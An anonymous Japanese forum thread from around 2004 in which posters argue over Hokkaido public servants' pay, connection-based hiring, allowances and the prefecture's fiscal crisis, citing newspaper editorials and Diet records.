公務員試験合格者の多くが何らかのコネを使っているというのも公然の秘密。
コネが試験合格にどれだけ影響するのかしないのかは検証しようがないが、
少なくとも、コネを使った時点で全員に不正の意図があるわけだ。

だからこそ一度公務員になってしまえば、仕事もろくにせず既得権を主張し、
悔しかったらなってみろなどと言い始める。妬み・僻み論も同じこと。

悪いが、公務員給与はけっして高くないし、悔しくもなんともないｗ。
ただ、仕事・能力の平均レベルに比べると、公務員給与は著しく高いｗ。
わかるかな？わかんねえだろうな。(古っｗ)

そして非効率な行政と高すぎる行政コスト・人件費が財政赤字を拡大させ、
先行き不透明感が民間の消費や投資マインドを冷やし、不景気を拡大させ、
税収の伸びの足を引っ張り、それがさらに財政赤字を･･･の繰り返し。
公務員人件費を半減、それもサプライズで、激変緩和せず(安全網あり)で、
一気に解決する問題であり、だから公務員生活保護の発想が必要なのだ。

YahooBB219019092130.bbtec.net
↑
こいつ、会議室で削除依頼しまくってるなぁｗ
公務員のコネ採用が「公然の秘密」、これに異論を唱えている。

だったら、「公知の事実」ってのは、どよ？
以前から散々新聞紙上を賑わせているんだからな。
それとも、香具師は新聞を読まないのか？？

↑「公知の事実」の根拠？

以下に衆議院でのコネ採用に関する質疑・答弁を挙げる。

国家公務員のコネ採用に関する質問主意書
http://www.shugiin.go.jp/itdb_shitsumon.nsf/html/shitsumon/a156022.htm

上記コネ採用に関する質問に対する答弁書
http://www.shugiin.go.jp/itdb_shitsumon.nsf/html/shitsumon/b156022.htm

これで、宜しいか？

あのさあ。
公務員の給与を民間の平均給与と比較するのが間違い。
北海道の場合。
特に最近は公務員になってはいってくる若い人は
優秀な人が多い。
民間に行こうと思えば銀行とか新聞社とか３０代で１０００万
といった職につける人もいると思う。
民間の大企業の給与と比較するのが妥当です。

本日午後５時３０分JNNで放送、見守ろうこの問題を。

　大阪市阿倍野区役所の職員らが、残業の実績もないのに超過勤務手当てを受け取っていた
として、市民グループが詐欺や背任などの疑いで大阪地検に告発しました。

>>78
ある程度、裁量性にして能力のある職員にはそれなりの給与を支払い
惰性で仕事をこなしている職員には給与の水準を下げなければいけないと思う。
あなたの言うように優秀な職員がいるのも事実であり、
この板で叩かれているような職員も多数いることも事実かもしれない。
今の給与制度を続けていくならば、職員に対して叩くこともしょうがないことだと思う。
職員といってもこれだけの人数がいるのだから、悪い面ばかり見て叩くのはどうかと思うが。
まあ優秀な職員なんかいたらこんな財政状況になっていないと叩かれそうだがね。
それを改善できる優秀な人間がここにいるなら、
ぜひいまの道政なり市町村政の改革してもらいたいものだ。
もっと公務員に対して議論して、どうすれば今の状況を打破できるかを
議論すべきではないでしょうか。

↑気持ちの良い意見だな。

だが、このスレッドの論旨は一貫して：
＞もっと公務員に対して議論して、どうすれば今の状況を
＞打破できるかを議論すべき
なのだが・・・・
この論旨で、スレッド６５番まで継続している・・・
で、過去スレ読んだのか？？

>>81
すまんすまん。
ちゃんと過去スレも読んだらわかるんですね。

↑どもｗ

＞ちゃんと過去スレも読んだら
「ちゃんと」なｗ　
で、６５スレッド有るのだが・・・・ｗ

>>83
2・3読んでみますね。
65も読む気にならないのでｗ
ちゃんと読みますよｗ
このスレだけものすごい伸びてますね。
これだけやってきて何か変わりましたか？

>80
道の「財政状況」を好転させるには
やはり民間企業の景気が良くなっていただかなくては・・
数年前道職員が裏金でたたかれて、
数十億円返還したはず。
それってどこいったのか？
たたかれた→公務員の支出が減少→民間減益→道税収入減少
→今６兆円借金ではないのかな。

>>85
>数年前道職員が裏金でたたかれて、数十億円返還したはず。
裏金を、税金で返還しただけなので、会計上は、特別損失扱いなのかも。

>公務員の支出が減少→民間減益→道税収入減少
公共事業と、公務員給与は別だと思うな。
公務員給与を高くしても、効果が薄いことは、現状のとおりでしょ。

＞83
＞これだけやってきて何か変わりましたか？

何が言いたいのかね。
こんなとこで議論しても何も変わりませんよってか？
ここで公務員批判しても意味が無いという理屈なら
公務員批判をしてる人をここで批判することも無意味だよな。

＞85
＞たたかれた→公務員の支出が減少→民間減益→道税収入減少
＞→今６兆円借金ではないのかな。

北海道の就労者人口のうち、公務員の占める割合知ってるのか？
公務員の支出が減少→民間減益→道税収入減少→今６兆円借金って
もうアホかと、バカかと言いたいね。経済勉強して出直して来い。

↑お、良いレスが連発してるな！

>>８４のぷららﾀｿ、
↑どもｗ

＞何か変わりましたか？
ポイントをついた良い質問だな。
以下、変わった点、変わってない点を
しばし語るってのは、どよ？

変わった点・・・
１）この国の地方行政が内包する問題点、例えば、採用・昇格
　　・昇給・天下り等の実態、或いは、行政システム上の瑕疵だとか、
　　そういった現状を広く喧伝することにこのスレッドは貢献して
　　いるものと考える。その意味ではロムっている香具師を含めて
　　認識が高まったものと考える。
２）上記は納税者である民間のみならず、公務員自身についても
　　同様。過去スレでもレスしていた香具師がいたのだが、
　　自分の管轄部署しか知らない公務員も多いからな。
３）最初の頃は公務員側からの煽りとか罵倒・糾弾も多かったのだが、
　　近頃は認識も変わりつつある為か、ロムっている香具師が多くなった。

変わってない点
１）「妬むな、ヴォケ」、「悔しかったら公務員になってみろ！」の
　　類のＤＱＮ（公務員？）発言は相変わらずだ。
２）一部を除いて、公務員の認識には危機感が欠如しまま。
　　一部とは若い連中であって、ＸＸＸを持ち逃げ退職する目論見の
　　世代はど〜でもいい、我関せずなんだろ！

取り敢えず、こんなところで宜しいか？

↓はい、次の方、どぞ〜ｗ

>>87
意味がないなんていってませんよ。
どのような効果があったのかが聞きたかったので。
私は中立派なので・・・
そんなに熱くならないでください。
不愉快にさせたならばあやまります。
申し訳ございませんでした。

>>ニコルさん
ありがと！

イイスレの悪寒!

財務大臣の最近の地方公務員の削減に対する発言がすごいね。交付税が大幅に削減されれば道職員や全国１の地方公団の人件費で北海道も財政再建団体に転落しそうだ。

ネバダレポートの公務員に関するところだけ適用して欲しい。

財政再建団体になったら、市町村もだめになるだろうし、公務員が１０分の１
にでもなって、公立高校の大幅値上げ、除雪は町内会で、火事は、地域で作る
消防団（消防署でない）で対処、困りごとは、勝手に悩め、珍走は、本人に直
接苦情言えとなるんだろうな・・・。
もう、だ〜れも生活を助けてくれないので、貧乏で道路に寝るホームレスも増
えるんだろうなあ・・。
そのうち国の労働基準監督署もなくなったら、時給１００円もありかもな・・。

>大阪市阿倍野区役所の職員らが、残業の実績もないのに
>超過勤務手当てを受け取っていた

いまだに官公庁にタイムレコーダがないのは実はこのためなのか。

>>93
> 財政再建団体になったら、市町村もだめになるだろうし

財政再建団体になった市町村の前例を見てみれば
そのような結果にならないことはわかるはずなのだがね。

>>85

公務員の消費支出に景気浮揚効果があるとし、
高い人件費を「もらってやる」ための取り組みで、
民間と「連帯」できるというのは組合の論理だな。

だが、前にも書いたが貯蓄に回る部分の多いのは、
景気対策上無駄であり、退職金は九割カットできる。
人件費を迂回しない直接支出や投資を怠ってきたツケが
今の赤字につながっていると考えるべきだろう。

生活保護費の方が消費にまわる分、まだ有効だね。

立ち直るためには、能力給部分で稼がないと年収５００万に乗らない、
逆に中堅の時期に年収１０００万もありえる、という給与制度を導入し、
道内公務員が眠らせたまま腐らせてきたポテンシャルエネルギーを引き出し、
退職金は九割カットして単なるぶら下がりを優遇しないようにすることだ。

当面はボーナスの半分は道産品で現物支給、残りは道民債で支払いとか、
そういう極端なことも必要だと思うが。

>>94

その番組見ました。
一律に勤務実態のない超過勤務手当てを上乗せしていた理由は、
勤務時間を１５分ずらした職員が１５分多く仕事をしているからと、
その分としてカラ超勤を上乗せしていたのだそうだ。
上乗せするために１５分ずらしの勤務を作っていたの鴨。
２９分までのストも遅刻も給与カットがないのに妙な話だ。

道内公務員の名誉のため言うが、道内ではやってないのでは？
仕事や残業の必要性という実態がないのに居残って、
飯食ってだべって手当てをもらうヤシはいまだにいるらしいが。

道内であったら誰か教えてね。

タイムレコーダーを置かないのは、「管理」されないためらしい。
労働力を切り売りする身が「管理」を拒む組合の論理も、
それを通してしまう役所側の行動も、ともに不思議だ。

朝寝坊や飲み過ぎで一か月のうち半分以上遅刻しても、おとがめはない。
だからと言ってみんながみんなそうではないのは良心があるからだ、と
知り合いの道内公務員から聞いたとき、違う惑星に来たかのような、
不思議な感覚にとらわれた記憶がある。

公務員が勤務時間中に歯科医院や整骨院、その他に通院しているのは違法ではないのですか？
堂々と通院していますが。

有休じゃないの？
堂々と通院するでしょ。

有給休暇ではありません。

勤務中に病院に行くのは公務員には当たり前の事らしく、
福利厚生事業参加の職務専念義務免除と同じ扱いにより、
有給休暇も減らさず、特に手続きするわけでもなく、
普通に勤務中に通院してよい職場慣行があるとよく聞く。

道庁には庁舎内に診療所もあり、行く人は多いらしい。
学校の勉強が嫌で保健室に逃げ込む子供みたいだな。
時間休でコマギレで休みがとれても、けちって使わない。
そんな公務員の平均給与が非管理職で７００万円台。
どこか狂ってますよね。

なんじやそれ。納税者を馬鹿にしておる。

>>104

確かに、こんな滅茶苦茶出鱈目をやっている一方で、
「悔しかったら公務員になればいいじゃん」などとほざく、
納税者を馬鹿にした公務員もいるらしい。

ただ、そういうデタラメに疑問を抱いている若手も、
いないこともない…だから愚痴る…で、それを書くw。

でも悪い職場慣行を破ってまっとうに生きようとすると、
職場全員の敵という扱いを受け、冷遇・左遷される。

だからそういうまともな職員の援護射撃をしたいんだな。
>>88のニコルﾀﾝも、そんな公務員擁護派の視点だ。

あぼーん

35歳なのに56万円しかない＞＜ボーナス中途採用は辛いのです・・・

５６万ももらえれば十分でしょ・・・

今回のボーナスで財政再建団体のさらに近づいたような気がする。非常事態宣言はなんだったか。相変わらず危機感がないな。

地方財政計画では、地方公務員の給与が地域の民間企業より高いから、
人件費を相当カットすべしとし、それを前提に地方交付税交付金も、
大幅にカットされる方向性が固まりつつあるわけで、そのことは、
我々よりもむしろ公務員のほうが敏感かつ深刻に受け止めているはず。

つまり、危機感ありまくりw。

で、今のうちにもらえるだけもらってしまえ、ということになるわけで。

退職時特別昇給廃止の激変緩和ひきのばしで、補助金減らされてもかまわない、
予算は道民のためにあるのではなく、職員のためにあるのだからね。

あぼーん

公務員はコネあるって友達がいってたけど
大きい自治体はないって聞くけどね
このスレみてたら公務員合格したけど不安になってくるねぇ
ほんとに公務員になってよかったのだろうか・・・

合格おめでとうございますw。
公務員になってよかったか、については、これからの時代、
仕事もろくにせず金だけほしいなら、よくないんじゃない？
てか、迷惑だからやめて他の道を探してね。

>>112
＞このスレみてたら公務員合格したけど不安になってくるねぇ
＞ほんとに公務員になってよかったのだろうか・・・
「職業」として公務員を選択したのなら、
これまでの様にはいかんだろ。
ただ、公的役割を担う志があれば、やり甲斐のある仕事は
幾らでも見つける事が出来る筈。
初心を忘れず、グワンパッテ下さい。

>>114
志は高いつもりです！でもそれだとはじかれると聞いてちょっと・・・
みんなが批判ばっかりするのは正直つらいけど
がんばりたいとおもいます。
僕は能力主義と給料カットと年功序列廃止と民家委託が
どんどんすすんでいいとおもってますけど
働きだしたらまたかわりそうだなぁ

あぼーん

あぼーん

↑おい、iij4u.or.jpﾀｿ、
おい、新スレ立てたぞ！
強かに、重宝しる！

【熱血漢】　◆kOUMuinFfcが逝く　【鉄面皮】
http://jbbs.livedoor.jp/bbs/read.cgi/travel/41/1103026901/

新スレおめ♪ｗ

↑どもｗ

そして、wakwakﾀｿも新スレ立てたんだよ（藁

【言語道断】　恐れ多くも、wakwak.でっつ！！　【問答無用】
http://jbbs.livedoor.jp/bbs/read.cgi/travel/41/1103029874/

以上、ヨロチクビ！

確実に公務員の強欲がこの国を崩壊に導く。現状が長引くほど子孫に対する被害は甚大なものである。

あぼーん

これ以上ビタ一文、公務員の給与は減らせないどー。
減らしたら、食えなくて、みーーーーんな、やくざになるどーーー。
ええのか。

なってみ〜

もっと給料減らしたほうがいいと思う。

公務員がどんなに能力があろうと
どれほど業務を効率的に遂行しようと
税収を増やすことはできないんですよ。
一方、仕事をしなけりゃ支出は減ります。
当然職員数や給与も下がるでしょうけど
固定費以外の支出を減らすには投機的支出を減らすしかない。
つまり、新規の仕事をなるべくしないこと。
財政状況のみで公務員給与を議論するならば
民間とは異なる公務員の特殊性も勘案すべきです。

>>122
道新とは組合どうしのつながりもあり、
給与の相関性もあるから、書かない。

>>123
既に似たような存在に堕ちている可能性も。

>>126
新規の仕事をしないのならば余剰人員が出るが、
それをカットできないのはなぜか？
人件費を固定費と考え聖域化することが間違いでつ。

メーカーで言えば原材料を仕入れる資金がなく
工場の操業を停止しているのに、工員が出勤し、
給料が払い続けられている状態と同じ。ありえない。

退職金９割削減で人員カット、給料も３割カットで、
投資的経費を捻出すれば、税収はいずれ増えるよ。

この１０年投機的経費を増やしてきて
このありさまなんですがｗ

投機的って…w？

ハイリスクローリターンの道民債は投棄的。
なんちって。

業務連絡：
wakwakﾀｿの新スレ立てたんだよ（藁
早く降臨しる！

【言語道断】　恐れ多くも、wakwak.でっつ！！　【問答無用】
http://jbbs.livedoor.jp/bbs/read.cgi/travel/41/1103029874/

以上、ヨロチクビ！

>>126
>>128

投資的経費は今は減っているのだが、
投機的費用が増えているのは本当か？
小豆相場とか先物取引で金を増やそうとしてるのか？
まじ心配だ。人件費のためなら何でもやりかねん。
天下り団体補助金などは、本当にリスキーだが、
一発ひとやま当たることはないし、投機とは言わないぞ。
いったい、何なんだ？

「投棄」的経費と言いたかったんじゃないのか？
投棄的人件費、投棄的税源の無駄遣い・・・・

で、以下は最新の道新の社説なのだが、
なんか、欝だよな、こんな公務員ばかりで！
ニッポン、大丈夫かよ？？

わいせつ教師＊大きい子どもの心の傷（１２月１５日）
http://www.hokkaido-np.co.jp/Php/backnumber.php3?&d=20041215&j=0032&k=200412152351
　わいせつ行為で二○○三年度に処分を受けた公立小中高校の教員数が過去
最悪を更新した。被害者の半数が児童生徒なのは深刻だ。
文部科学省の全国調査によると、処分された教員は前年度より二十一人
増えて百九十六人に上った。このうち懲戒免職は百七人で過去最悪だった。
道内では前年度より一人多い十一人が処分され、九人が懲戒免職となった。
　衝撃的なのは被害者が教え子など児童生徒の例が百三人もいたことだ。
道内では五人がそうだった。

で、前日の社説がこれ↓

国際学力調査＊心配な読解力の急低下（１２月１４日）
http://www.hokkaido-np.co.jp/Php/backnumber.php3?&d=20041214&j=0032&k=200412141772
国際学力調査で日本の高校一年生の読解力低下が明らかになった。
すべての基礎となる力だけに、落ち込みは重く受け止めたい。
問題点はなにか、さまざまな角度からの検証が必要だ。

おまえら、学校で何をやっとるじゃ〜〜〜〜〜〜〜〜！！

で、また、やふ〜が削除依頼を出すに決まってるから、
上とのスレタイの関連性を説く。

つまりだぁ、教育者としての志ではなく、職業として教師を目指す
から、こんな糞教師が蔓延ることとなるんだろ！
安定収入、安定昇給、既得権益、休日も多い、と。
「恩師」、「聖職」、「師の影を踏まず・・・・・死語だ罠！

これじゃ、まるで「聖職者」じゃなくて、
「生殖者」或いは性蝕者」だろ！

ふざけんな〜〜〜〜〜〜〜！

これで宜しいか？

確かに公務員たる学校教員により受ける害悪は大きい。
子どもがいて、その教育に真剣な人ならわかるはずだ。

天下り法人へのリターンのない投機的費用、
職員駐車場の除雪まで外注する冬季的費用、
財政難で不動産を切り売りする登記的費用、
職員用トイレの便器を更新する陶器的費用、
財政再建団体転落先送りの為の当期的費用、
なんだかんだ下がらない給与の騰貴的費用、
仕事しなかった奴への退職金の投棄的費用、
全部見直して、職員の中身を充実汁！

↑乙！

仮に公務員の給料を半分にすると、
現在公務員となる優秀な若いのは北海道の大企業（札幌）か
本州に流出するでしょう。
地方都市の学業成績優秀な中・高校生は
地域の医師等の子供か公務員の子供が主。
今以上に地方都市の若いのが馬鹿（失礼）になる可能性あり。
そんなことにはならないかもしれないが、
北海道から優秀な若いやつの流出は良くない。

岩見沢六価クロム騒動で話題の空知支庁環境生活科の職員にはもっと給料をあげても良いと思う。その分は上司の給料を減らしてよし。
優秀な役人には三つのタイプがあるという。職務を利用して私腹を肥やすのに長けた人。組織のために一所懸命働く人（←それが結局自分の保身にもなる）。住民のことを第一に考えて仕事をする人。
おそらく渦中の彼（Ｋ氏）は腐った組織の中でつらい思いをしているかも知れないが、頭がおかしいのは決してキミではない。頑張ってくれ。

>>137
その話はネットで見たけど結局道庁の幹部職のレベルの低さに唖然としたね。あとは自分達の組織の都合の悪いことは隠蔽する連中だということがよくわかったね。
　あと今は地方公務員の人件費削減の話が出るけど今国と違法の税収の合計が約７０兆円でそのうち国の税収が４０兆円で地方の税収が３０兆円です。
それに対して人件費は約４０兆円でそのうち国が１０兆円で地方が３０兆円だということ。
この結論は地方の税収が３０兆円で人件費が３０兆円である。これまでは交付税や補助金でまかなってきた。今回の財務省の案は７．８兆円の交付税削減である。
地方の人件費を３０％削減すれば９兆円で何とかなる。北海道は交付税は特に多いのでやはり３０％の人件費削減で対応して住民の負担を軽くすべきである。

>>136
それは医者や公務員が子供にお金をかけれるから勉強ができるだけの話だ。勉強はできても人間性が酷いのも多い。特に教師や公務員の子供は酷い。別に公務員の家庭の安泰のために税金払っているわけじゃない。民間に優秀な人材が行ったほうが北海道のためだよ。もっとも今の道職員は頭でっかちで自己保身中心なのが１３７の例でわかるな

最近とみに、公務員イコール優秀、という内容の、
根拠のない書き込み（放置対象）が多く、困っている。
荒らす気がないならやめてほしいと思うのだが。



>>136

本当に優秀な人材というのは、とっくに道外に流出している。
それだけの能力を活用するフィールドが失われているから。
今後、行政の無策により、その流れはますます加速するだろう。
で、優秀でない居残り組がますます優秀だと勘違いするのだろう。

高額納税者であればなおさら北海道に見切りをつける。
で、民の稼ぎが悪いからと、勘違い君が逆ギレする。嫌だ嫌だw。

>>137
＞優秀な役人には三つのタイプがあるという。
＞職務を利用して私腹を肥やすのに長けた人。
＞組織のために一所懸命働く人（←それが結局自分の保身にもなる）
＞住民のことを第一に考えて仕事をする人。
「優秀な役人」ってのに、激しくﾜﾛﾀ！
官、つまり、自分たちにとって「優秀」なのか？
民、つまり、住民たちにとって「優秀」なのか？

私腹を肥やす、つまり、「公僕」だ罠。
「公」金は「僕」等のもの！
我らが私腹、みんなで肥やせば、怖かねえ！！
更に、「システム上の瑕疵」を見越して、既得権益・組織防衛、これ！
う〜ん、これで「優秀」だと、自画自賛かよ！？

まさに、

　　　　　由(よ)らしむべし、知らしむべからず！

壮大な計画だが。
きっと俺たちの時代はみんなアフォしかいないのでないか。
将来
優秀な子孫なら、倫理観もしっかりしているだろうし、優秀な頭脳でいろいろ解決
してくれるのではないだろうか。
ここは、ひとつ未来に希望を託して、１０００年かけて返済するする計画で、道が
大借金をし、公務員の給与や退職金、年金を確実に確保する方が道民のためにも、
良い選択だと思うよ。
大胆な発想だが、これしかないと思う。

1000年は大胆云々じゃなく、単にあり得ません。

あぼーん

>>142

目先の金ほしさのあまり、借金には利息がつくことを忘れてはいないか？
千年間毎年１％の利息としても、毎年借金の十倍の利息を払わないといけない。

みんなアフォしかいないのではなく、あんたが○○。ですから！
ケイタイからでＩＰ見れないんだがが、ひょっとして放置対象の人ならスマソ。

あぼーん

あぼーん

おれの友人夫婦して道庁の役人やってるリッチマンなんだけどさ
寒冷地手当てっていうの所謂燃料代、昨日でたんだって。
あれ、同居してんのに二人分でるんだってさどっかおかしくない？
経費削減とかいってこれだも道民の批判浴びるわけだ。

最近あまりにもバカバカしいので食料以外購入しない。そこに税があるから手当ても出せるのだろう。
政治は機能していないので不買で自己表現。服なんか１０年分以上あるので買わないという選択も可能。
散発は自宅で出来る髪形に。色々工夫すると面白いし自分の税が無駄に使われるのを防げる唯一の手段。
経済も縮小していくのでまず自分の家計の構造改革を。税収が減ると慌て出すだろう。

消費税の地方分もワケワカメの暖房費として消費されているのだろう。
ここで消費が減しなければ消費税を上げ続けるだろう。

>140
若い人たちは実感ないかもしれませんが、
今、中学、高校で「学業」優秀な子は
地元の医者等の子弟。
それと学校の先生、地方国家公務員の子弟が多い。
割と成績のいい中学校の校区に公務員の公宅があったりする。
そういう話です。

それと、
道の「財政」は危機的状況ですが、
それよりも道の「景気」を優先すべきと考えます。
「景気」が良くなれば「財政」も好転します。
公務員の給料を下げることで、
「景気」良くなり、「財政」好転するのであれば、
私もそれに賛成です。

>>151
公務員の給与を下げれば、何とかなるという甘え考え方がだめなんだよ。
もうその発想自体が負けを意味している。
一部の道民には、官に依存しすぎている。
給与を下げても、官は高度な倫理観で、今まで通り又は、今まで以上に過剰な住民
サービスをしてくれると信じて疑わない者までいる。
しっかりしろよ！！
豊田市のみんなを見習えよ。
「日本の甘やかされた辺境の地」でもみれや。
http://www.hokkaido-np.co.jp/Php/kiji.php3?&d=20041218&j=0024&k=200412184049

>>148
＞寒冷地手当てっていうの所謂燃料代、昨日でたんだって。
これは出鱈目な情報だな。
おまえの書き込みは、2004/12/18(土) 06:23:43 だ。
ということは、昨日だと、寒冷地手当が１２月１７日に出たことになる。
ありえない。
寒冷地手当の批判をしたいのだろうが、出鱈目はいかんよ君。

北海道の地方公団は全国１位ｎ数と経費がかかっている。道庁のＯＢもかなりいるしこの人件費を入れたらさらにすごい数字だね。結局官依存というより利権に群がって官が仕切っているということだろ。時代遅れは道庁の感覚だろ。実際は補助金や交付税を元手に公共事業でなんとか景気を支えて自分達の人件費を守ってきた。それをいうなら道庁の国に依存体質だな。交付税の無駄遣いが財務省から指摘されているが地方公務員の人件費のことを言ってる。それと隠蔽工作ばかりしているとさらに批判を浴びるよ。

>>151
公務員の人件費削減分をそのまま負担を減らすとか公共事業に当てればいいじゃない。道職員は不祥事続きだから関係者を全部懲戒免職にすれば人件費も結構削減できる。このまま大幅な負担増をしたらさらに会社や人材の同外流出を招くよ。

公務員人件費の優先順位を第一に考える人にとっては、
人件費を減らして公共サービスを減らすなという主張は
冗談じゃねえ、本末転倒だ、と、過度の官依存に見えるんだろう。

でも、公務員人件費のために予算があるという前提が本末転倒ですから。

つまり、公共サービスをするために、公務員が存在するのであり、
その範囲で公務員人件費を支出するのが当たり前。

企業誘致や投資促進のための税制優遇をする勝ち組の自治体と、
金を落としてくれと口をあんぐり開けるだけのぶら下がり自治体。
その差はますます開いていくだけだ。

>>155
公務員の削減とか、給与を減らすとか幼稚すぎる発想だ。
そういうのって、恥ずかしいという意識がないのかね。
結局は、道民が能がないので、道税が集まらない。
道税を納められないのに、サービスだけは、一人前以上に要求する。
これが、財政悪化の原因だな。
道の公務員どうのこのというが、もっと給与の高い他の自治体と仕事はかわらんぞ。
それで、こんな辺境の地で、給与も下げれなんて口が裂けても言えないはずだ。
税金なんかは、東京の人の方が道民よりずーーーっと納めている。
そこのところを、お忘れなく。
道民は、ロシアというマーケットが目の前にあっても、ロシア語ひとつ学ぼうとし
ない・・。
雪祭りで外貨も落ちるのに、英語も話せない香具師がザラにいる。
ちったあ、努力しろよ。

まともに所得税の払ってない道民や企業も多い。
どんなに低所得でも、最低で収入の１割は納税させるべきだ。
会社なんかは、倒産寸前でも、会社を設立しているだけで、納税させるべき
なんだよ。
公務員は、見かけ上は普通の給与だが、がっぽり税金を引かれ、実収入はかなり
低いというマジックを知らない者が多すぎる。
公務員は、税金で必要経費すら考慮されないんだ。
そういうのを考えたら、公務員の給与を下げる前に、まず公務員から取りすぎた
税金を返還する事も考えるべきだ。
あと、消化できなく、道民のために犠牲にしてきた有給休暇をどうするかも、考
えなければならない。
社会は、あまりにも公務員に対して酷であった・・・。
そのため、一部の公務員がぐれてしまい不祥事もったが、これは、社会の公務員に
対する歪んだ対応が産んだ悲劇と呼んでも過言ではないであろう。
俺は、公務員でないので、かなり冷めた平等な目で見ていると思うよ。

>>157
それをいうなら財政管理一つできない道職員が問題ではないのかな。非常事態宣言をして何も改革できない無能な前知事も元道職員だったね。そんなに北海道の給料に不満なら他の自治体に行けば。
財務省でも地方公務員の給料は交付税の無駄遣いと指摘されているけど。しかし財政管理に失敗して危機的情況を作った無能公務員なら首にならないだけありがたいだろ。
その結果道民に迷惑かけている。東京に人の税金の交付税でおこぼれ貰ってる道職員らしい発想だな。

>>158
そんなに不満なら公務員を辞めたら。そして自分の能力でもっと稼いで税金納めてください。公務員でないなら歪んだ発想しているね。公務員の家族で身内が中傷されたかな。しかし税金で給料貰って税金が多いって大丈夫かｗ不祥事はその人間の人間性だ。給料に不満があれば違う仕事すれば。

>>158
公務員じゃないって地方公団の職員かな？確かにこっちのほうが削減は早そうだな。ＯＢ職員なら公務員のことに詳しいのも納得。発言が前時代的なのも自分の経験ですか。

>>158は、給与所得控除というものを知らないらしい。
公務員の給与所得控除と、老齢年金の公的年金控除、
どちらも不労所得とは言わないまでも似たようなもので、
優遇されていることがわからないなら廃止すべきだと思う。

まさか、公務員給与を下げると景気に悪影響がとは言うまい。
おれおれ詐欺の高校生は、タンス預金を騙し取り豪遊すれば、
景気回復につながると言っているようだけど同じ感覚か？

ケータイからでＩＰ見えないが放置対象者だったら欝だ。

あぼーん

>>158
私の知人の道職員さんに、有給と病休合わせて40日以上休暇日数を
持っていて、病院の検査や風邪等で病休を連休＋αで有給をと
いったい年間何日働いてるだといいたくなるやつもいますがなにか？

あぼーん

>>153
ほれ

＞暖房費が出たらしいが夫婦とも道庁職員で同居してるのに二人に手当てが支給されてるって
聞いたんだがほんとかよ？なんかおかしくない。税金の無駄遣いだろう。
中にはベンツに乗ってるのもいるらしいね。
それで給料あげろあげろってどこまで図々しいんだか・・・

>>164
俺は町村職員だけど、今年年休は１．５日くらいとれただけ、お盆休み夏休みなど一切とれない。
ゴールデンウイークはなし、正月は３１日と１日だけ休み。（毎年）
病院の事務にいるから仕方ないけど、それにしてもそんなに休んでみたいよ。
同じ地方公務員でも不公平だ。
俺はそのうちぐれてやる。

道税の徴収を民間に委託して公務員を減らすべきだ。そうすれば道財政は
健全化する。
まず、道税の歳入予算を道が決定する。その金額を委託先民間金融会社
（債権回収業者）が仮払いし、徴収する。
税務関係の職員を減らせるし、税の徴収率は向上する。
納税者も、クレジットカードによる決済やコンビニを利用した払い込み、
柔軟な分割納入など民間では当たり前に行われている支払方法の選択が
可能となりメリットは大である。

新しく法人を設立しないで、既存の信販会社とか、商工ローン会社とか
に委託すればかなり徴収率は向上すると思われる。
検討してもらえないかな。

うちは今年の年末から３１．１．２が休み３日から出勤。
別に慣れているから文句は無いけど「官庁さんは８日が仕事納めで良いね」なんて言われると
「何も知らないのに知っているかぶり」と思ってしまう。
年収だって大学の同期には恥ずかしくて言えないよ。確かに「安定」は魅力だけど。
スレ違いの国家公務員でした。

↑８日じゃなくて２８日ね。失礼しました。

道税の徴収を民間に委託して公務員を減らすべきだ。そうすれば道財政は
健全化する。
この議論は危険です。結局のところいやな仕事を民間にやらせて彼らが事務所でお茶飲んで歓談する時間が増えるだけです。
削減は自然減のみですので。寄生虫は感嘆には駆除できません。

＞１６８
税金の徴収業務は「嘱託さん」がやっている場合が多いと思うよ。
委託すると「委託料金」がかかるし個人の秘密が漏洩する確率も増える。
何よりも無理な取り立てをする可能性があるんじゃないかな。
回収率は上がるだろうけどリスクも上がるだろう。

結論として、今必要なのは、低所得者も含め、徹底した増税だな。
道民は、生活が大変と言いながら、持ち家があったり、マイカーがあったり、子弟
を私立大学に進学させる経済力がある者がざらにいる。
そういう贅沢をやめて、納税したら、まだまだ公務員の給与に手を付ける必要もな
く、道の財政再建が可能なはずである。
今の道の実態では、民はまだまだ自立していないので、聖域である公務員の処遇に
対する議論をする段階ではない。
あくまで、公務員は上流階級であるので、平民と同じというわけにいかないのだよ。

高い倫理観を維持するためには、公務員には、それなりの処遇が大切なのだよ。
これは、歴史が証明している。
いやしくも、公務員が金銭に左右され、誤った判断をしないよう、高額な給与
を支払うことは、当たり前のことなんですよ。
極論を言えば、公務員の賄賂に関する罪を重くすると共に、月収が１千万だと、
汚職なんか激減するぞ。

>いやしくも、公務員が金銭に左右され、

「高額な給与を支払え」という時点で金銭に左右されてるのが丸出しですな。

173、174の言うとおりだと思います。

道警の問題だって給料がもう少し高ければと考えられますし、まして元石狩支庁長の
汚職だってありえません。

日本国憲法、法令等を遵守するとともに、公平で能率的に職務を執行する
ことが求められている公務員ですからそれなりの処遇が必要不可欠です。

わかりやすい自演乙。ｗ
給料が高ければ汚職はありえないって…どういう思考回路の下での結論なのかね。
石狩支庁長は給与の多さが故に給与のモデルケースが公表されていない(隠されている)
特別職の人間だよな。他の一般公務員に比べ、充分過ぎる位の給料貰ってたんでないの？
それでも汚職するってんだから、汚職と給与額は関係無いのだよ。
安月給の若手公務員でも法令を遵守し真面目にやってる人達はいるわけだし(多分)。
つまり、犯罪を犯すか犯さないかというのは、その人物の人間性やモラルの問題であって
給料上げれば公務員の犯罪が減るという幼稚な理屈は成り立たんのだよ。＞173･174･176

>>177
その認識は甘すぎ。
給与の低い国の公務員ほど、モラルは低い。
公務員という高度な倫理を要求され、ましてや、些細なミスでも大変なことになる
極めて強いストレスが溜まる仕事だからこそ、それなりの高額の処遇が必要だよ。
実際、公務員が本格的にでたらめを始めたら、大変なことになるぞ。
そうなったら、誰が責任取る？
誰が収容つける？

あぼーん

>>178
先に179氏がレスしてくれたようだが、君の発言にはいつも根拠が無いんだよ。
君は、公務員給与を上げれば公務員の犯罪は減りモラルが上がると下衆な主張を
しているが、それを証明する事例や根拠という肝心な点が全く示されていない。
だからいつもすぐに反論されるし、すぐにボロが出る。ここは君の脳内妄想や
夢物語を書きこむ日記帳ではないのだよ。

言ってもわからない人みたいだし、かまってほしいのかもしれないが、時間の無駄。
根拠が呈示されないのなら次からは放置して削除依頼で済ませましょう。

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

あぼーん

一番、不思議なのは、普通の会社員なんかは、年収が２００〜４００万だろう。
たまに、５００万ももらっていたら裕福な方でないのか。
道税や市町村税もしれていると思うし、それほど負担はないと思うが。
それと、道の財政は圧迫されているが、今現在、そのために民間に多大な道税の負担
をしいているわけでないだろう。
